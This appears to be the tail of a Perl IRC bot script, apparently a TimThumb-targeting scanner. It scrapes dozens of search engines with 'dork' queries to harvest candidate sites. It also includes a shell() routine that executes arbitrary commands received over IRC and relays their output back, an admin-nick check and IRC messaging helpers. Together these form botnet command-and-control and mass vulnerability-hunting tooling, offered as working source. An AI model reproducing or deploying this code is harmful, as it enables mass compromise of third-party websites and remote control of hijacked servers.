   $res = &search_engine_query($search);
   }return @list;
}

sub black() {
   my @list;
   my $key = $_[0];
        my $b   = 0;
   for ($b=0; $b<=50; $b+=1) {
        my $search = ("http://blekko.com/ws/".&key($key)."?ft=&p=".$b);
      my $cek = $b+1;
        my $res = &search_engine_query($search);
      if ($res !~ m/<strong>$b<\/strong>/i) {$b=50;}
        while ($res =~ m/class=\"UrlTitleLine\" href=\"http:\/\/(.+?)\"/g) {
            if ($1 !~ /blekko/){
            my $link = $1;
                my @grep = &links($link);
                push(@list,@grep);
            }
        }
    }
    return @list;
}

sub onet() {
   my @list;
   my $key = $_[0];
        my $b   = 0;
   for ($b=1; $b<=50; $b+=1) {
        my $search = ("http://szukaj.onet.pl/".$b.",query.html?qt=".&key($key));
        my $res = &search_engine_query($search);
        while ($res =~ m/<a href=\"http:\/\/(.+?)\"/g) {
            if ($1 !~ /webcache|query/){
            my $link = $1;
                my @grep = &links($link);
                push(@list,@grep);
            }
        }
    }
    return @list;
}

sub sizuka() {
   my @list;
   my $key = $_[0];
        my $b   = 0;
   for ($b=10; $b<=100; $b+=10) {
        my $search = ("http://www.szukacz.pl/szukaj.aspx?ct=polska&pc=polska&q=".&key($key)."&start=".$b);
        my $res = &search_engine_query($search);
        while ($res =~ m/<a title=\"http:\/\/(.+?)\"/g) {
            if ($1 !~ /szukacz/){
            my $link = $1;
                my @grep = &links($link);
                push(@list,@grep);
            }
        }
    }
    return @list;
}

sub walla() {
   my @list;
   my $key = $_[0];
        my $b   = 0;
   for ($b=0; $b<=50; $b+=1) {
        my $search = ("http://search.walla.co.il/?t=0&e=utf&q=".&key($key)."&p=".$b);
        my $res = &search_engine_query($search);
        while ($res =~ m/<td class=sw><a href=\"http:\/\/(.+?)\"/g) {
            if ($1 !~ /walla\.co\.il/){
            my $link = $1;
                my @grep = &links($link);
                push(@list,@grep);
            }
        }
    }
    return @list;
}

sub demos() {
   my @list;
   my $key = $_[0];
        my $b   = 0;
   for ($b=0; $b<=500; $b+=10) {
        my $search = ("http://search.dmoz.org/search/search?q=".&key($key)."&start=".$b."&type=next&all=yes");
        my $res = &search_engine_query($search);
        while ($res =~ m/<a href=\"http:\/\/(.+?)\"/g) {
            if ($1 !~ /search|dmoz/){
            my $link = $1;
                my @grep = &links($link);
                push(@list,@grep);
            }
        }
    }
    return @list;
}

sub rose() {
  my @list;
  my $key = $_[0];
  my $b     = 0;
  my @langs = ("de","nl","fi","ps","da","en","es","fr","it","no","sv","cs","pl","ru");
foreach my $language (@langs) { $lang = $langs[rand(scalar(@langs))];
    for ($b=0; $b<=30; $b+=10) {
        my $search = ("http://euroseek.com/system/search.cgi?language=".$lang."&mode=internet&start=".$b."&string=".&key($key));
        my $res = &search_engine_query($search);
        while ($res =~ m/<a href=\"http:\/\/(.+?)\" class=/g) {
            if ($1 !~ /euroseek/){
            my $link = $1;
                my @grep = &links($link);
                push(@list,@grep);
            }
        }
    }
}return @list;
}

sub seznam() {
   my @list;
   my $key = $_[0];
   for ($b=1; $b<=500; $b+=10) {
        my $search = ("http://search.seznam.cz/?q=".&key($key)."&count=10&pId=SkYLl2GXwV0CZZUQcglt&from=".$b);
        my $res = &search_engine_query($search);
        while ($res =~ m/<a href=\"http:\/\/(.+?)\" title/g) {
            if ($1 !~ /seznam/){
            my $link = $1;
                my @grep = &links($link);
                push(@list,@grep);
            }
        }
    }
    return @list;
}

sub tiscali() {
   my @list;
   my $key = $_[0];
   for ($b=0; $b<=500; $b+=10) {
        my $search = ("http://search.tiscali.it/?tiscalitype=web&collection=web&start=".$b."&q=".&key($key));
        my $res = &search_engine_query($search);
        while ($res =~ m/<a href=\"http:\/\/(.+?)\" onclick/g) {
            if ($1 !~ /tiscali/){
            my $link = $1;
                my @grep = &links($link);
                push(@list,@grep);
            }
        }
    }
    return @list;
}

sub naver() {
   my @list;
   my $key = $_[0];
   for ($b=1; $b<=500; $b+=10) {
        my $search = ("http://web.search.naver.com/search.naver?where=webkr&query=".&key($key)."&docid=0&#9001;=all&f=&srcharea=all&st=s&fd=2&start=".$b."&display=10");
        my $res = &search_engine_query($search);
        while ($res =~ m/<a href=\"http:\/\/(.+?)\"/g) {
            if ($1 !~ /naver/){
            my $link = $1;
                my @grep = &links($link);
                push(@list,@grep);
            }
        }
    }
    return @list;
}

sub clix(){
   my @list;
   my $key = $_[0];
   for($b=1;$b<=1000;$b+=100){
      my $Th=("http://pesquisa.clix.pt/resultado.html?question=".key($key)."&in=Mundial&num=25&ckWhere=Mundo&position=".$b."");
      my $Res=&search_engine_query($Th);
      while($Res =~ m/http:\/\/(.+?)\//g){
         my $link = $1; $link =~ s/<//g; $link =~ s/ //g; my @grep = &links($link); push(@list,@grep);
      }
   }
return @list;
}

sub search66(){
   my @list;
   my $key = $_[0];
   for($b=10;$b<=1000;$b+=100){
      my $Th=("http://search.search66.com/?query=".key($key)."&start=".$b."&offset=20&lang=ENG");
      my $Res=&search_engine_query($Th);
      while($Res =~ m/http:\/\/(.+?)\//g){
         my $link = $1; $link =~ s/<//g; $link =~ s/ //g; my @grep = &links($link); push(@list,@grep);
         }
      }
   return @list;
}

sub biglobe(){
   my @list;
   my $key = $_[0];
   for($b=10;$b<=1000;$b+=100){
      my $Th=("http://cgi.search.biglobe.ne.jp/cgi-bin/search-st_lp2?start=".$b."&ie=utf8&num=25&q=".key($key)."&lr=all");
      my $Res=&search_engine_query($Th);
      while($Res =~ m/http:\/\/(.+?)\//g){
         my $link = $1; $link =~ s/<//g; $link =~ s/ //g; my @grep = &links($link); push(@list,@grep);
      }
   }
return @list;
}

sub interia() {
    my @list;
    my $key = $_[0];
    for ($i = 0;$i<= 1000; $i+= 100) {
           my $search = ( "http://www.google.interia.pl/szukaj?q=".&key($key)."&s=szukaj&w=sw&szukaj=&p=".$i);
           my $res = &search_engine_query($search);
           while ($res =~ m/http:\/\/(.+?)\/(.*)<\/a>/g) {
                my $link = $1; if ($link!~ /google|interia/) { $link =~ s/<//g; $link =~ s/ //g; my @grep=links($link); push(@list,@grep);
           }
       }
   }
  return @list;
}

sub pagina(){
    my @list;
    my $key = $_[0];
    my $i   = 0;
    for ($i=0; $i<=100; $i+=1){
        my $web=("http://startgoogle.startpagina.nl/index.php?q=".key($key)."&start=".$i."&origin=homepage&source=geentaal");      
        my $Res= search_engine_query($web);
        while ($Res =~ m/<a href=\"?http:\/\/([^>\"]*)\//g){
            if ($1 !~ /pagina|pagina's/){
                my $k=$1;
                my @grep=links($k);
                push(@list,@grep);
            }
        }
    }
    return @list;
}

#########################################

sub clean() {
    my @cln = ();
    my %visit = ();
    foreach my $element (@_) {
        $element =~ s/\/+/\//g;
        next if $visit{$element}++;
        push @cln, $element;
    }
    return @cln;
}

sub key() {
    my $dork = $_[0];
    $dork =~ s/ /\+/g;
    $dork =~ s/:/\%3A/g;
    $dork =~ s/\//\%2F/g;
    $dork =~ s/\?/\%3F/g;
    $dork =~ s/&/\%26/g;
    $dork =~ s/\"/\%22/g;
    $dork =~ s/,/\%2C/g;
    $dork =~ s/\\/\%5C/g;
   $dork =~ s/@/\%40/g;
   $dork =~ s/\[/\%5B/g;
   $dork =~ s/\]/\%5D/g;
   $dork =~ s/\?/\%3F/g;
   $dork =~ s/\=/\%3D/g;
   $dork =~ s/\|/\%7C/g;
    return $dork;
}

sub links() {
    my @list;
    my $link = $_[0];
    my $host = $_[0];
    my $hdir = $_[0];
    $hdir =~ s/(.*)\/[^\/]*$/$1/;
    $host =~ s/([-a-zA-Z0-9\.]+)\/.*/$1/;
    $host .= "/";
    $link .= "/";
    $hdir .= "/";
    $host =~ s/\/\//\//g;
    $hdir =~ s/\/\//\//g;
    $link =~ s/\/\//\//g;
    push(@list,$link,$host,$hdir);
    return @list;
}

sub search_engine_query($) {
    my $url = $_[0];
    $url =~ s/http:\/\///;
    my $host = $url;
    my $query = $url;
    my $page  = "";
    $host =~ s/href=\"?http:\/\///;
    $host =~ s/([-a-zA-Z0-9\.]+)\/.*/$1/;
    $query =~ s/$host//;
    if ($query eq "") { $query = "/"; }
        eval {
            my $sock = IO::Socket::INET->new(PeerAddr=>"$host", PeerPort=>"80", Proto=>"tcp") or return;
            print $sock "GET $query HTTP/1.0\r\nHost: $host\r\nAccept: */*\r\nUser-Agent: $uagent\r\n\r\n";
            my @pages = <$sock>;
            $page = "@pages";
            close($sock);
        };
    return $page;
}

#########################################

sub shell() {
    my $path = $_[0];
    my $cmd = $_[1];
    if ($cmd =~ /cd (.*)/) {
        chdir("$1") || &msg("$path"," 4,1No such file or directory");
        return;
    }
    elsif ($pid = fork) { waitpid($pid, 0); }
    else { if (fork) { exit; } else {
        my @output = `$cmd 2>&1 3>&1`;
        my $c = 0;
        foreach my $output (@output) {
            $c++;
            chop $output;
            &msg("$path","$output");
            if ($c == 5) { $c = 0; sleep 2; }
        }
        exit;
    }}
}

sub isAdmin() {
    my $status = 0;
    my $nick = $_[0];
    if ($nick eq $admin) { $status = 1; }
    return $status;
}

sub msg() {
    return unless $#_ == 1;
    sendraw($IRC_cur_socket, "PRIVMSG $_[0] :$_[1]");
}

sub nick() {
    return unless $#_ == 0;
    sendraw("NICK $_[0]");
}

sub notice() {
    return unless $#_ == 1;
    sendraw("NOTICE $_[0] :$_[1]");
}
#[@]#####################=-!-=#######################[@]#
# !|              Timthumb version 1.02                |! #
#[@]#####################=-IRH-=#####################[@]#